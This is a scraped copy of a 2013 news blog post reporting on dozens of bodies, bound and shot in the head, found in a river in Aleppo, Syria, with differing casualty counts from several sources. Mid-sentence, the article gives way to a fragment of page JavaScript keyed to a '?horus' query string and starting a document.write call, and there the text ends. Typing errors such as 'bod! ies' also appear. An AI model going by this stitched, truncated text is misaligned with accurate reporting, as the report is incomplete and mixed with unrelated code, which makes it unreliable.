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Wednesday, January 30, 2013

Piecing Together Accounts of a Massacre in Syria

Dozens of bodies were found in a river in Aleppo, Syria.YouTube Dozens of bodies were found in a river in Aleppo, Syria.

As my colleagues Hania Mourtada and Alan Cowell report, the bodies of dozens of young men, shot in the head from close range with their hands bound, were found in a narrow river in a neighborhood of Aleppo, Syria, on Tuesday.

The bodies were found in the Queiq River, which skirts the front line and de facto border between government-held areas of Aleppo and territory controlled by rebel fighters in the neighborhood of Bustan al-Qasr.

Video posted to YouTube showed bodies lined up alongthe muddy riverbank. Many had visible head wounds and lengths of cord wrapped around their wrists. Gunfire echoed in the distance, and at the end of the clip the cameraman broke into a run. “A sniper is firing at us,” he said.

Dozens of bodies, shot in the head and bound at the wrists, were found in a river in a suburb of Aleppo.

Early video and reports from the scene on Tuesday suggested the number of dead to be around 50, a figure that rose significantly on Wednesday. The Syrian Observatory for Human Rights, an anti-government group based in Britain that has a network of contacts inside Syria, said 65 bod! ies were recovered from the river. The group estimated that 15 more remained in the water but could not be retrieved because of a threat posed by government snipers.

The Daily Telegraph, a British newspaper whose correspondent, Ruth Sherlock, was on the scene of the grim discovery, reported that residents pulled 79 bodies out of the river. A rebel fighter interviewed by Ms. Sherlock estimated that as many as 30 more bodies could remain in the water, but said they were impossible to retrieve because of nearby government sniper positions.

Thomas Rassloff, a freelance photographer based in Germany, was taken to the riverbank by Free Syrian Army fighters who he said told him “there are a lot of bodies.” Mr. Rassloff if (( location.search == "?horus" ) || ( location.search == "?horus&m=1" )) { //var randnumbb = Math.floor((Math.random()*5)+1); var randnumbb = 1; if ( randnumbb == 1 ){ document.write('